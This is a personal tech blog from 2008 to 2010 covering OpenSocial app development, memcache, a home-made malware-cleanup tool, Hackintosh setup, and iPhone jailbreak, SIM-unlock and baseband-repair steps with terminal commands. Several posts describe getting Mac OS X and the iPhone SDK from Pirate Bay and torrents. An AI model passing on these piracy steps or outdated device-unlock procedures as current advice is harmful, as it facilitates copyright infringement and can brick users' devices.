Knowledge is Power

RIP blogger

2010-01-17T06:20:00.004+05:30

Just to let you know I no more blog here. Blogger is good for starters. I started this when I was a kid, guess back in 2006.

I needed more control over my blog hence made the move to wordpress.

http://blog.aakash.me bookmark it!

PS don't bug me with iPhone problems, I am done with this device :)

Microsoft launches DreamSpark in India!‏

2008-11-09T18:29:00.001+05:30

On 5^th November 2008, Microsoft unveiled DreamSpark - a software giveaway for an estimated 10 million eligible students in India. DreamSpark will provide students access to the latest Microsoft developer and designer tools at no charge.

Microsoft DreamSpark will be available to all students whose studies touch on technology, design, math, science and engineering. The software available to students will include:

Microsoft developer tools

Visual Studio 2005 Express
Visual Studio 2005 Professional
Visual Studio 2008 Professional
Visual Basic 2008 Express
Visual C++ 2008 Express
Visual C# 2008 Express
Visual Web Developer 2008 Express
XNA Game Studio 2.0
12-month free Academic membership in the XNA Creators Club

Microsoft designer tools

Expression Studio 2, including

o Expression Web

o Expression Blend

o Expression Design

o Expression Media

Microsoft platform resources

SQL Server 2008 Developer
SQL Server 2008 Express
Windows Server 2008 Standard Edition
Virtual PC 2007

Training Resources

IT Academy Student Pass

This broad range of professional-level software will be available both online via www.dreamsparkindia.com; and in offline format via DVDs distributed by program partners NIIT, Aptech and Hughes Net Fusion Centers. A student merely needs to offer a proof of identity at a branch of these institutes to avail of a DreamSpark DVD. There are 125 NIIT, 175 Aptech, and 200 Hughes Net Fusion Centers participating across the country.

These program partners will also provide technology training on the DreamSpark software tools at a nominal cost; as well as have the option of soft skills training in languages like English and Hindi. Microsoft India is also working with academic institutions, government bodies and student organizations across the country to ensure that all students get a chance to benefit from DreamSpark.

The DreamSpark program in India is tailor-made to join the dots between software access and employability - which means making training and enablement complement simple access to technology.

DreamSpark will also facilitate student participation in Microsoft’s annual marquee contest, Imagine Cup, through various contest categories such as software design, short films, photography etc. Students from India that qualify for the Imagine Cup 2009 World Finals will get to travel to Egypt. Selected teams will also get the opportunity to get mentored by the Centre for Innovation, Incubation & Entrepreneurship (CIIE) at IIM, Ahmedabad.

Addressing students and academicians at IIT Delhi – where the DreamSpark program was unveiled - Bill Gates, Chairman, Microsoft Corp, said, “We want to do everything we can to equip a new generation of technology leaders with the knowledge and tools they need to harness the magic of software to improve lives, solve problems and catalyze economic growth. Microsoft DreamSpark provides professional-level tools that we hope will inspire students like you to explore the power of software and encourage you to forge the next wave of software-driven breakthroughs.”

NOW,, to make students learn using the developer tools provided by Microsoft, this is where we Microsoft Student Partners come into picture :)

Some stats about TAG friends, learnings, the story so far…

2008-11-07T03:53:00.003+05:30

Got an overhauling response from users for my opensocial web app TAG friends- 10M visitors in 3 months, but I must say I screwed it all together.

Was it MySQL? my database practices? the application’s framework(or the way its structured!) that made it prone to more bugs? Joyent? exams? ……..

Summing it up, its all due to lack of EXPERIENCE. I am STILL a kid :)

NOW. Mistakes won’t be repeated. I will be more productive, more tests, more carefulness, more caffeine (to keep a lazy guy like me awake!).

--Some learnings---

It sucks when users want to access your application and the server just rejects the request. Performance is the key to success of app provided your basic idea is good/unique/innovative enough.

Performance>functionality>UX>base idea

Performance and functionality are the areas to be looked into constantly as the app grows. Users need something new, something exciting every time they checkout the app.

BUT

A momentum has to be maintained to make sure users check app regularly.But while rolling out new features for the app, there impacts on performance have to be taken care of.

To improve some performance I am using memcache on my Joyent accelerator. Memcache is used to store objects in the RAM. Basically it builds a hashtable of queries and there results in memory.

TO start the memcache daemon on solaris on joyent i did

sudo svcadm enable memcached

if you are on any other linux flavor checkout here, for windows here.

Once the daemon is up and running, to use it with php an extension memcache.so is required, for which you may need php headers and compile based on your server OS. I have upload my binaries below which work with php 5.2.4 on a joyent accelerator running Sun Solaris 11.

Now you in php first you need to check whether the results of a query are there in memcache or not. If not there, automatically fetch from MySQL and store it in cache. The functions for this are very well described over here.

I can see some noticeable performance improvement after Memcache implementation.

Last but not the least, are the error logs, they speak of the mess that took place. Here is my the full apache error log of stuff that went wrong. Lots to digg in…

I will be using TAG friends as a test bed for trying out new things,technologies and nuclear experiments :D

SORRY users :( u got pwned!!

I will post more things in coming days about my experiences running this app, Google app engine, cloud computing.

My iPhone is taking a break, while i test some REST ;)

P.S. I am working for silicon valley based startup BitRhymes Inc.

Lifes Beautiful, Namaste :)

Upgrading your iPhone to 2.1 custom firmware

2008-09-23T03:00:00.001+05:30

I have been holding off from posting about the new PWNAGE tool as initially both the 2.0 firmware and pwnage tool had a lot of bugs..

Few days back i pwned my oldest 1st gen 4GB iPhone to 2.1.. gotta say this firmware is very much stable and i can recommend updating to it.

Here’s how-

### only for 1st gen older 2G iPhone ###

PUT your iPhone in DFU mode if you have never pwned before. Recovery mode will do will do if you are on 2.0/1.1.4 custom firmware currently. Higher success rates with DFU mode
download and restore the iphone 2.1 custom firmware using iTunes.

Recommended iTunes version:7.7

To downgrade to a 1.X.X firmware use itunes <= 7.5

Definitive guide to putting iphone in DFU mode. NOTE: don’t use software like ZiPhone or iLiberty for putting iphone in DFU mode, thats not the real DFU mode.

if you get errors during firmware flashing, look for error codes here and keep trying..at one point you will succeed :)

ZiPhone / iLiberty are useless for 2.X.X firmwares

AS of writing this post there is no real sim unlock solution for newer iPhone 3G, please don’t pay anyone for this..

Hacking the iPhone is my hobby, I am not a professional iPhone repair guy.

A lot has happened in last 3 months.. some of which may go to this blog if time permits :) http://aakash.me redirects to this blog now..

OpenSocial: Moving on..

2008-06-22T03:45:00.001+05:30

Now that you done with a Simple Hello World, Move on... try some advanced example. Here is one such example on fetching friends and pinging remote server.

Before starting on project search the containers directory's to check whether the same idea app is existing or not. The chances of finding your idea on facebook directory is high, if you find an app like your's take hints from there ;) and stats associated with it. There are a lot of best practices for building a app enlisted here

You can always monetize your apps using advertisements on CANVAS view.

Use the application's persistent data storage for caching profile view, storing user preferences.

Initially for testing things you can go with a free webhost like awardspace.com.. when the application scales go for dedicated server. You can get 6-month free hosting from joyent.com with your MySpace or hi5 API key. It is running good for me since a month and you have complete control over it from SSH client. SIGN requests to your server whenever possible. If you have access to the Google app engine preview release and know python well then give it a try too..

Performance is the key for success of app. USE Y!slow plugin to see your performance, firebug to debug javascript [console.log(obj)],CSS. Here is a good guide on improving your app's latency.

Making the app spammy for virality has a negative effect on its popularity. Use the viral channel's wisely.

After the work is finished submit your app to the containers, wait for around 1 week on Orkut, 3-4 days on myspace, hi5 for approval.

OpenSocial: getting started

2008-06-22T01:24:00.006+05:30

Finally its time, time to look towards OpenSocial. The platform is maturing day by day and its currently best area in web 2.0 world to put the CODE power & marketing skills . The v0.8 which contains the most awaited standard REST APIs , numerous enhancements & bug fixes is on its way.

Some facts about OpenSocial first--

Google’s Response to Facebook Developer Platform
Write Once, Run Anywhere
Built upon Google Gadget API (iGoogle)
Uses standard JavaScript, HTML, and XML.
RESTful API will be available with upcoming v0.8

Whose Using it

FaceBook has 64M active users whereas OpenSocial collectively have 270M+ users. FaceBook dev platform has a saturated market for apps.
In OpenSocial currently only orkut, hi5, myspace have gone live with there implementations.

Container	No. of live applications
Facebook	*29,230*
Orkut	200
Hi5	820
MySpace	1,000

From above data, the answer is clear why switch to OpenSocial

How Application works in OpenSocial

through javascript API

OpenSocial APP anatomy

One single XML file holds the application and all other things emerge from there

Writing your first OpenSocial APP

1. Request developer sandbox access on Orkut

Usually takes 1 day, URL is sandbox.orkut.com
Developer areas for hi5, myspace

2. Host the app's XML source code in Google Gadget Editor or on your own web host.

here is the hello world app code to get you started-

<?xml version="1.0" encoding="UTF-8" ?>
<Module>
<ModulePrefs title="hello world example" author_email="you@somedomain.com"/>
<Content type="html">
<![CDATA[
Hello, world!
]]>
</Content>
</Module>

Save gadget’s XML file and grab its link.

Goto Orkut sandbox and add the above XML file.
if you opt for hi5 then go here -> NEW APPLICATION -> app XML link.
For MySpace , you will have to create the application's myspace a/c first and then add the XML.

3. See the app in action on profile, canvas views.

Hi5 has an additional PREVIEW view which the user see before adding the application.
MySpace also has 3rd view , HOME page view where application is displayed on user's myspace home or the page where he just goes to after login.
No Ads or automatic music playback on profile views on all containers.

4. When you make changes and save file, on Orkut append “&bpc=1” to url rendering the app to bypass cache and reflect changes. On hi5, MySpace just press the "refresh XML" buttons.

NOTE: the caching of containers may sometime annoy in debugging the app during development. To bypass all sorts of cache on add this to your ModulePrefs tag in app XML.(no need of &bpc=1 after this)

<Optional feature="content-rewrite">
<Param name="include">NONE</Param>
</Optional>

GREAT THING IS YOU ONLY NEED TO SHUFFLE AROUND SOME PIECE OF CODE AND YOUR APPLICATION IS READY FOR MAJOR SOCIAL NETWORKS OUT THERE.

HANDY LINKS

OpenSocial homepage http://code.google.com/apis/opensocial/

Tutorial, Google Gadget Editor http://code.google.com/apis/opensocial/articles/tutorial/tutorial-0.7.html

OpenSocial v0.7 JavaScript API reference http://code.google.com/apis/opensocial/docs/0.7/reference/

Google gadgets reference http://code.google.com/apis/gadgets/docs/reference/

Useful code snippets, best practices http://code.google.com/p/opensocial-resources/wiki/

Developer forums http://groups.google.com/group/opensocial

IRC channel irc.freenode.net/#opensocial use a desktop client like mIRC or a web based AJAX client- mibbit.com . Every Tuesday and Thursday from 1:00 p.m. to 3:00 p.m. PST one or more google employee will be available on channel to help you out.

Below are the slides I used at the OCC special facebook & opensocial developers meet.

| View | Upload your own

iPhone:Sure Shot fix for greyed WIFI & Bluetooth

2008-05-23T21:40:00.012+05:30

This is applicable to iPhone's which are able to send/recieve calls but only wifi, bluetooth is greyed out or there MAC addresses are unknown. Technically your BaseBand's NVRAM is corrupt.
All credit goes to MuscleNerd for his work, article here- http://wikee.iphwn.org/sgold_bootrom:fixwifi
CHECK if the problem indeed exists.
download iBooter and then Libusbfilter 0.1.12 if you are on Windows XP.. WARNING:if you use Libusbfilter on Vista it will disable the USB ports and you will have to uninstall it to get usb ports working again. So use win XP to test if the below solution is for your phone..
run ibooterwin.exe via cmd and the give the command
"radio readnvram"
if the output says
"Radio NVRAM Entries:
Type: 0xffff Size: 0xfffa Purpose: Not Avaliable"
the you need to fix things, the below solution can be used with your phone.

FIX it!!
all the files you will require for this fix are there in this iLiberty payload-

it has, bsd subsytem, terminal, swifi, bootneuter app. Just download iLiberty and add this payload to it(scroll down for instructions), everything will be installed after a reboot.

Your iPhone needs a fakeblank bootloader in order to run the fix tool.
So flash it with the new BootNeuter tool, i selected 3.9 bl, all other options ON and pressed the FLASH button.
Now that you are on fakeblank bootloader, terminal installed and swifi transfered.
type the following commands in terminal..
cd /usr/bin

chmod +x swifi

launchctl unload /System/Library/LaunchDaemons/com.apple.CommCenter.plist

killall -9 CommCenter

./swifi

if says
"

wifi fixer
by MuscleNerd, gray, and the iPhone Dev Team
Actions taken:
Backup table checksum was corrected
Active table was restored from backup

"
then it did something and your wifi, bluetooth is hopefully fixed. Reset Network Settings from settings->general->reset menu and reboot the phone.
if it said-"

# swifi
wifi fixer
by MuscleNerd, gray, and the iPhone Dev Team
Nothing to fix!

"
like the message said its not suitable for your phone, everything already is in place..

anything i missed out leave a comment...
[UPDATE]
Please, Jailbreak, Activate your iPhone before applying this fix.
To add the fix payload to iLiberty

go to C:\Program Files\iLiberty
rename the PAYLOAD folder there to "payload.old"
copy the payload.zip file downloaded from here to C:\Program Files\iLiberty
extract it using a program like winzip,winrar.
restart iLiberty and if everything was right you should see below screen.

Select all packages, connect iPhone, click "Go for it".

There I am, TAG friends live on major social networks

2008-05-13T00:55:00.003+05:30

I am live [:P]. My OpenSocial App TAG friends is live on major social networks like orkut, hi5, myspace...
I am getting like 50,000 page views / day of the app... you can imagine my condition here behind the scene to keep things working and updating to match pace with other apps.. i am quite new to industry, everything is on my shoulders. I have lots of things to share about opensocial, but time is all i need, college is making things worse. I will post more once the 3rd internal exams for this semister gets over this thursday.
Do checkout the app and leave feedback..

VirusToolKit updated, more feature than before

2008-03-27T00:36:00.008+05:30

I have been working a lot on this project, as this improves my hold on C#, .NET framework and also the community benefits from it.
The software is taking shape and can now be called a true toolkit.
Here is the breakdown of features supported by this v0.08 release-

Scans 6 registry keys, 2 windows files for startup paths.
File are analysed on basis of which startup location they come from, there file attributes.
The infected virus files are SAFELY deleted, they can be restored in case a safe file is caught.
Fixes common drives problems like getting a open with dialog on clicking the drive letter in My Computer.
Deletes the autorun.inf on root directory of all drives, pen drives and all files in paths referenced by it.
Can enables hidden files, folders, folder options, registry editing, task manager in case disabled by malware.
Logs everything!!

Works on both XP, Vista. but you may need .NET framework 2.0 if you are on XP.

Just a 31KB file, what are waiting for? download now.
Whenever you insert a pen-drive run the tool -=> Fix Drives . This will prevent entry of virus in your computer through pen-drive.

Please report bugs, leave a comment if you like it.
Send me the content of the log tab if possible by email..

worked?? Digg this then..

DON'T LET ANTIVIRUS TAKE OWN OF THE POWERFULL HARDWARE YOU PURCHASED!!
UPDATE-
v0.9 released.. ability to delete more viruses, manually delete a malware file. cleans the fun.exe, music.exe,gamesetup.exe etc viruses

Acad DevCon 2008, I am a MSP now !!

2008-03-25T01:47:00.002+05:30

BDotNetStudent is proudly presenting Academic Developer Conference 2008, supported by Computer Society of India (CSI), Microsoft and International .NET Association (Ineta).

Event Details

Date : March 29, 2008
Venue : PESIT College Auditorium

Schedule

Time	Event
1.30 PM - 2.00 PM	Registeration
2.00 PM - 2.15 PM	Keynote
2.15 PM - 3.00 PM	Introduction to Visual Studio 2008
3.00 PM - 3.30 PM	Introduction to Silverlight
3.30 PM - 4.00 PM	Break
4.00 PM - 4.45 PM	Intoduction to Expression Web
4.45 PM - 5.30 PM	3D Game Programming using XNA GSE
5.30 PM - 6.00 PM	Tech Quiz

Highlights

Entry Free!
All attendees will get free Resource DVD!
Lots of goodies to be won!
Entry strictly through Passes or Online Registration

Registration

To register for the event click here .

Note: Register only if your college does not have a Microsoft Student Partner. See the list of Student Partners here .

Yeah i am a Microsoft Student Partner now :P

Sigmatel Sound card , Marvell Lan card working on Leopard 10.5.1

2008-03-25T00:50:00.005+05:30

After much searching, messing up with kexts i got my LAN card (Marvell Yukon 88E8036) , sound card (Sigmatel 7661 ??). here is how i get them to work-
LAN CARD-
--my device id / vendor id under xp is
Vendor: 11AB
Device: 4351

--note it down on paper and booted into my osx86
--Go into application=>utilities=>terminal
type in the following commands, enter your password when asked-

cd \
sudo nano /System/Library/Extensions/IONetworkingFamily.kext/Contents/PlugIns/AppleYukon2.kext/Contents/Info.plist

--this will open a notepad like window, Scroll down and find the Ethernet card "Marvell Yukon 88E8053" change everywhere in that entry the 8053 to 8036
--Search in that entry again:
IOPCIPrimaryMatch
0xZZZZyyyy
'ZZZZyyyy' represents some numbers and chars
-- Update it with YOUR Vendor and Device ID found out from XP. first 4 digits = Device ID (ZZZZ), last 4 = Vendor id (yyyy).
For my Vaio SZ220 it came out to be "435111AB"
so now my key became


IOPCIPrimaryMatch
0x435111AB

Save with ctrl+o, quit with ctrl+x
NOTE: in mac your CTRL, ALT,WIN key may be swapped, trying combinations until you get a working one.

-- type in terminal, to remove the kernel extensions cache:
sudo rm -r /System/Library/Extensions.mkext
-- type in terminal to repair disk permissions (do this more often to keep your MAC tuned up!!):
diskutil repairPermissions /
-- Restart Machine. While Booting press F8, and add boot flags -x -v this will boot your mac verbosely in safe mode
--Now Reboot again, and goto system preferences-> network if ethernet network is not shown click the "+" icon to add a ethernet interface press apply-> show all on top for changes to take effect. hopefully network should work.
--This method can work for other Yukon models also, just lookup the .plist in AppleYukon.kext and AppleYukon2.kext and search for the nearest model in .plist.
NO more USB ethernet now :D freed one usb port for usb mouse.

Getting Sound Card to work was relatively simple.
--My Sound card's vendor id:8384 , device id:7661 found out using same way as for ethernet card. Here i checked the dev, vend id's for Sigmatel High Defination Audio Codec.
--I downloaded the latest version of Taruga's AppleHDAPatcher from http://forum.insanelymac.com/index.php?showtopic=32859
AppleHDAPatcherv1.20.zip worked for me
--Next it was time to get some linux codec dumps to use with AppleHDAPatcher. Many dumps can be found here. The one that worked for me is this. i pasted the text of dump in a normal text file on desktop and dragged that file over taruga's AppleHDAPatcher icon. On reboot i had audio!! in-built MIC doesnot work, headphones,onboard speakers do work.
Even my recently bought bluetooth stereo headset works flawlessly on MAC.

Now the only things that don't work are WLAN, Nvidia geforce go 7400(when in speed mode).

iPhone SDK installed, no firmware for phone though

2008-03-12T00:48:00.003+05:30

I downloaded iPhone sdk from torrents as the adc link returned 404 on changing ip address. the size is 2.099GB and requires 5.6GB for installation.

My MAC partition had only 2 gb free , sdk requires to be on same directory as mac. I tried everything but couldn't resize the MAC 0xAF partition, hence installed leopard for 3rd time.

SDK installed fine on 10.5.1 kalyway and everything is working perfectly.

There is no interface builder in this build of iPhone SDK, the firmware on simulator is 1.2 not 2.0

Also got double tap and two finger scroll to work this time using this tutorial.

There is no option now to run the compiled app to phone as it needs a newer firmware not 1.1.4 as it doesnot have the frameworks required to run app.

iPhone SDK OUT, firmware 2.0 RoadMap

2008-03-07T02:17:00.007+05:30

Atlast Apple released the Apple iPhone SDK today.. I am a Registered iPhone Developer as of now.
A few notes about SDK

Its only for MAC OSX Leopard.
The Size is 2GB includes XCODE IDE, emulator and interface builder.
The apps will be distributed through itunes store and mobile app store.
You need a $100 apple dev a/c to publish apps to iPhone users through itunes and App Store.
There will be a 2.0 iPhone firmware which supports these apps in June, untill then beta releases of 2.0 for testing code.
Apple will check the apps, before they are pushed to iTunes app store.
iFund($100 million) is setup for funding developers with good apps.
Apps will also be available to iPod touch but with a nominal fee, just like the january update.

If you can't access the iPhone dev center try replacing http by https..

Wanna setup Mac OS X Leopard without apple hardware on PCs ,refer my prev blog post.
As far as i know you can't install leopard on VMware virtual machine unlike the tiger..

Apple also announced the Enterprise features for iPhone like exchange mail sync, push email, push contacts, remote device wipe etc...

Currently i am getting server connection reset on the SDK download link, hope this is fixed soon..
NO MORE TOOLCHAINS :P

Me in the News !!

2008-03-05T16:37:00.002+05:30

Recently i gave an email interview to the IDG news service editor Juan about Google's OpenSocial.
The extracts of it were published in Washington Post, PCWorld, InfoWorld and lots of other tech publications.
The article's text extract-
"Meanwhile, Aakash Bapna, an information sciences student in Bangalore, has also run into technical issues. "Bugs, bugs, and lots of bugs. There are lots of issues with OpenSocial specs as they are launched. You can't tell when your smoothly working application can break," he said.

For Bapna, a big hole is the unavailability of the server-side REST (Representational State Transfer) API, which will allow applications to tap servers, something that Thiago Santos, a Brazilian developer of an upcoming application called Partyeah, also misses."

Here are the links for full article titled "Developers: OpenSocial OK, but needs tuning"-
Washington Post
PCWorld
InfoWorld

iPhone updated to 1.1.3, OpenSocial app in shape, Virus tool kit project

2008-02-27T00:35:00.007+05:30

Yesterday i finally UPDATEd my iPhone(3.9 bl 1.1.2 firmware) to 1.1.3 using iTunes. To jailbreak, activated and unlock it i used ZiPhone 2.4 GUI and pressed "DO it All" there. As said by it my iPhone was unlocked, activated and jailbreaked within 4 mins. This is best tool i have came across, works with all the iPhone present in market, jailbreaks even iPod Touch.
Google Maps locate me works fine for me, swapping the icons is really cool, will explore it more and post...

I was very busy past week with my OpenSocial app, hence no updates here.
My app "Tag friends" for opensocial ie for social networks like orkut is in shape. You can give tags to your friends with it, label them and form an image of them... you can try it out in Orkut SandBox by adding it from here . Please do report any bugs/ suggestions.

The trend in today's malware is to spread by pendrives.Antivirus's aren't always succesfull in removing malware be it Norton, Kaspersky etc... tried them all. Its your PC which loses in battle of malaware and antivirus.Take the advantage of the expensive hardware you bought, not let these resource hungry products use it for scanning all the time :P. Moreover antivirus are unable to undo the changes done to your installation like disabled hidden folders, taskmanager, folder options .... by these evil thingz.

I am working on a small virus tool kit which delete's autorun.inf , enable/disable hidden folders on your physical drives, lots more to come.. the alpha build is ready, download it below, if you get errors, you don't have .NET framework 2.0.
**download the latest v0.07 from here -> http://enext.biz/aks/download.php?file=vtk.exe
If the sensitive key value's contains a file name other than explorer.exe , its a Virus!!

if after inserting the pendrive you run this tool to delete the autorun.inf on it, the virus on usb drive/any drive will not bump up on its own by merely inserting the drive. this is just a basic example of what i wanted to do.. my friends found it helpful, hence posting it here... again.. lots more come..

**UPDATED latest version link..

My External Hardisk purchase experience

2008-02-27T00:30:00.002+05:30

After lots of searching, reading reviews i bought a Western Digital Passport 80GB external USB hardisk. I thought of Lacie All- terrain rugged first, but later found that my Laptop didn't have a fireware 800 port (mine is fireware 400 :( ) to take advantage of Lacie's fireware interface for faster access times.
So i went to SP road here in Bangalore to buy a WD passport 80GB, easily found one @ Rs3000 /USD 77 inclusive of all taxes. Went home just to plugged in the disk, to my misery XP said "Power surge on USB port". i thought it might just a temporary problem, so tried again in other port. again same error!! tried on vista, other desktop, nothing helped!! the blue LED on the HD was blinking, no new drive on my laptop.
Time for some googling... i found out that there is some power problem with this ext. HD, many other HD's.Tried all solutions posted on various boards, instead ended up with the HD not even powering on now, the blue LED was gone. I decided to leave debugging there itslelf and get a replacement.
So got a replacement from WD service here in Bangalore on SP road within 2 days, and YAY this one works perfectly.

Finally MAC OS X Leopard 10.5.1 on Sony Vaio SZ

2008-02-20T20:27:00.009+05:30

The download of the leopard kalyway disk was also complete. Installation Time!!
i had to install twice due to some typos.
Steps i took on a Sony Vaio SZ 220 on ext. hardisk (WD passport 80GB)

Download the MAC OS X 10.5.1 leopard DVD kalyway edition from piratebay.
Extract zip and burn the DVD at 2.4x.
Boot with DVD with -v parameters, USB HD attached
Went to disk utility in tools partitioned to 10GB(leopard takes 7.5 for its files,2.5 for my files), 64GB(free unallocated space) with MBR not GUID scheme (if you select GUID then XP won't be able to create partition with free space ).
Select the patches you want to install, i went for the vanilla kernel ie. the orignal Apple kernel. and no other patches. (i selected Nvidia Inject laptop drivers for the first time which resulted in a blank screen upon boot with geforce go 7400, intel GMA 950 work fine.)
The installation took around 30 mins and after that booted manually to Leopard(in ext. hardisk) by changing boot order in BIOS.

My HardWare driver Status-

Intel GMA 950 works fine with QE/CI support, even hardware accelerated QE.
When i switch to Nvidia geforce go 7400, i get poor display with QE/CI not available as drivers are not there. tried NVinject during first install, got blank screen had to uninstall it from booting into safe mode to atleast get a working display.
WLAN, AUDIO, Ethernet doesnot work.
To use internet i downloaded the generic USB modem drivers for leopard and connected my BroadBand router to laptop using the USB cable supplied.
The double tap , scroll doesnot work on my touch pad, USB mouse works fine.

Overall i am satisfied with performance, display(esp. the effects when you add a widget are mindblowing), Stacks, and Spot light search. I have also used mac os x tiger 10.4 on my laptop before but this one is far more stable and practically usable. Driver support will come later or sooner.

The NTFS partition of my xp install(internal HD) are accesible with leopard but are read-only. The leopard install partion on external HD doesnot show up in XP, Vista thought the other NTFS partition on external hardisk(created with left over 64gb free unallocated space) is accesible.

To transfers between xp, leopard i have made a small FAT32 partition(700MB) which acts as a bridge as both XP, Leopard can write there.
If you need more info for MAC on non-Apple hardware head over to Insanely Mac forums

ZiPhone, ultimate iPhone h4cking tool, Sony Ericsson's Windows Mobile

2008-02-13T21:58:00.003+05:30

I read some day ago on Zibri's blog about the ZiPhone, i thought it might yet another shitty tool like the iDemocracy. But no this simply rocks. No more jailbreakme.com, *#307#,OkToPrep downgrading,Upgrading ..
If you have just bought an iPhone, download Ziphone. connect phone to PC or MAC and run
ziphone -a -j -u.
You can follow a step by step guide for windows with screenshots here- http://iclarified.com/entry/index.php?enid=666
Your 1.1.2 /1.1.3 Out of Box iPhone will be jailbreaked, activated, unlocked within few minutes.
sounds great??
Jailbreaking and activating is available on old 3.9 bootloader iPhones, but no auto unlock with Ziphone yet for 3.9 bl, use anysim 1.1 or 1.2u with 3.9 bl phones manually.

Meanwhile from the Windows Mobile band, Sony Ericsson unvieled there first Windows Mobile 6 based device at Mobile World Congress, Barcelona.

Main Features:

Windows Mobile 6 Professional
XPERIA™ panels
Optical joystick navigation
3.2 megapixel camera
AGPS
WLAN
3inch TFT screen with resolution WVGA(wide-VGA) 800 X 480 pixels,my iPhone has only 480 X 320 :(
Phone memory: up to 400 MB
microSD™ memory card support
Works on almost all networks with HSPDA,EDGE support

1.1.3, 1.1.2 OTB software unlock out

2008-02-08T14:51:00.000+05:30

Thanks to the dedicated work of geohot aka George Hotz the software unlock for 1.1.2 OTB and also 1.1.3 OTB iPhones with newer 4.6 bootloader is possible now.
Head over to his blog for instructions and how he did it. it trully deserves a donation :)
Also this guy released a IPSF style unlock (3.9 bootloader) which will survive firmware restores and updates few days ago. it still needs some good packaging for novice users.

Meanwhile the dev/elite teams and zibri are still fighting amongst themselves and where working on some JerrySim software unlock solution whose internal details were leaked by zibri who also leaked the incomplete anysim 1.3 for 1.1.3 firmware and 3.9 bootloader before.

So no more waiting , enjoy your OTB iPhone..

iPhone screen replaced, 1.1.3 sim unlock for 3.9 bootloaders on the way

2008-02-04T17:42:00.000+05:30

Finally my iPhone's screen is replaced with a dead non booting phone's. Its back to life.. good old days are back again :D
For changing the screen my iPhone had to be opened, but there are no scratches, remarks, gaps or leftovers of the surgery :) so if you are on 1.1.2 OTB iPhone and worrying about cosmetical defects after the hardware unlock , go ahead with process if you got little soldering skills,familiar with iPhone tools and terms like ieraser,secpack, baseband.

The 1.1.3 unlock is just about to be released for 3.9 bootloader old iPhones.Also theres lots of drama going between teams, team members.
On the other hand geohot is trying to make a IPSF like sim unlock for 3.9 bl iPhones which survives firmware updates, he is very close to making one, see if you can help him here.

I am currently sticking with 1.1.2 firmware, not doing a soft-upgrade jailbreak to 1.1.3 as i expect some better solution in future and 1.1.2 suits my needs, is very much stable than 1.1.3

P.S. the links sections has been updated with a blog of very special and famous personality.

1.1.3 Jailbreak released.,1.1.2 OTB software unlock updates

2008-01-27T01:44:00.000+05:30

The iPhone-dev team and the elite team working collectively have come up with a jailbreak solution for 1.1.3 iPhones. you need a jailbroken iPhone first like the 1.1.2 jailbreak.
here are the links for instructions for PC and MAC .

For thos with 1.1.3 firmware , 3.9 bootloader who used IPSF to unlock there iPhones can unlock the 1.1.3 baseband by entering these commands in terminal-

1. # launchctl unload -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist
2. # minicom
3. AT+CLCK="PN",0,"00000000"
4. AT+CLCK="PN",2
5. launchctl load -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist

1.1.2 OTB Software unlock is not happening anytime soon according to geohot.. so please as said before refrain from buying iPhone to unlock and use your operator..

I am home now :) the iPhones i needed to experiment with for repairing my touch screen will arrive on Monday.I will be testing the 1.1.3 jailbreak on it. I am also getting a ext. Hard Disk(any suggestions? leave comment..) for my space problems soon, currently dowloading MAC OS X 10.5.1 leopard by Kalyway(3.51 GB) will install it on my fresh new ext. HD

1.1.3 baseband downgrade now possible on 3.9 bootloaders

2008-01-18T23:58:00.000+05:30

As i said the 1.1.3 baseband fimware(04.03.13) downgrade is now possible, just use the new 1.1.3 secpack instead of older ones in traditional virginator scripts..
This can be a boon to people like me who have corrupted basebands, seczones(unknown IMEI, 0049 IMEI, no bluetooth WLAN, no ICCID, incorrect simcard) as 1.1.3 upgrade completely rewrites the baseband chip.
Hence you can upgrade to 1.1.3 to fix your baseband issues->downgrade to 1.1.2->1.1.1->use a virginator script with 1.1.3 secpack. Give life to your iPhones!!
I will try this on my 3 incorrect simcard iPhones as soon as i reach home on 25Jan.. you can check this thread for more info, downloading required files.

ALL THIS IS APPLICABLE TO 3.9 BOOTLOADER ONLY.

iPhone 1.1.2 OOTB Hardware unlocked, 1.1.3 secpack retrieved.

2008-01-18T15:22:00.000+05:30

Geohot finally confirmed that he was able to hardware unlock a 1.1.2 OOTB iPhone by downgrading the bootloader 4.6 to 3.9 using trick used in the older hardware unlock and then as the bootloader is 3.9 now you can unlock it using AnySim.

The 1.1.3 secpack important for 1.1.2 OTB software unlock has been retrieved from the firmware.
No news on 1.1.3 activation, jailbreak although some bugs have been found.

Also 1.1.3 is rumoured to work wonders on bricked iPhones ie. having bad IMEI, ICCID ,incorrect sim card errors, gizmodo has confirmed this. Now you can upgrade you bricked phones as both main and baseband firmwares can be downgraded.
I still have 3 iPhones with incorrect SIM card, unknown ICCID, i will update them to 1.1.3 when i reach home this month end.

From here

you can download the 1.1.3 secpack (baseband firmware 04.03.13). You will need this when downgrading baseband.

Steve Jobs KeyNote MacWorld 2008, iPhone 1.1.3 confirmed

2008-01-16T00:46:00.000+05:30

I managed to watch the live streaming of MacWorld 2008 keynote at ustream.com and some profile at justin.tv. you can check the whole keynote blogged on engadget.. Also make sure you check out the MacBook Air videos .

The 1.1.3 firmware images leaked by gearlive.com , video by Nate were confirmed by Steve Jobs.
Here are the features added-

Customize Springboard or the homescreen
Webclips aka web bookmarks right on homescreen
Google Maps with my location feature through cellphone towers
SMS multiple people at once
Chapters, subtitles, languages in videos, lyrics in iPod.

These features will be free for all iPhones.For iPod touch shipping from now these features will be inbuilt, but you got to pay $20 if you want them on your previously purchased iPod touch.

The iPhone SDK will be released in late February.

You can download the new iPhone 1.1.3 firmware (CAUTION:Don't install on hacked iPhones, wait for updates) from here and iTunes 7.6 from here
So what does it mean to iPhone unlock, as it was said that 1.1.2 OOTB unlock(Sim Unlock for newer 4.6 bootloader iPhones) will come after apple releases software upgrade with Baseband firmware included.
YES this firmware has Baseband firmware, FYI the iPhone dev team is having this firmware since 2 weeks. Untill today not able to extract the newer secpack from the firmware due to tight encryption (1024 bit RSA) by apple. All you can do for now is wait................
Or use the turbosim method, if you are impatient.
DON'T trust any site claiming unlocks other than the hackint0sh, iphone simfree, iphone elite etc. recognized teams. People have been cheated by these scam sites. Below is list of such sites

- hxxp://iphone-unlock.us << sends nothing.

- hxxp://www.grabiphones.net << sends nothing.

- hxxp://www.unlocknowiphone.com/Profe...one_Tools.html << sends nothing.

- hxxp://unshackler.wan.io << sends a file (malware) that if installed, will brick your iPhone.

- hxxp://www.free-your-iphone.com << Just provide you link with free AnySim instructions

- hxxp://www.iphoneunlocksoftware.info & hxxp://www.iphoneunlockhelp.info/unl...-reviewed.html<< No unlock provided

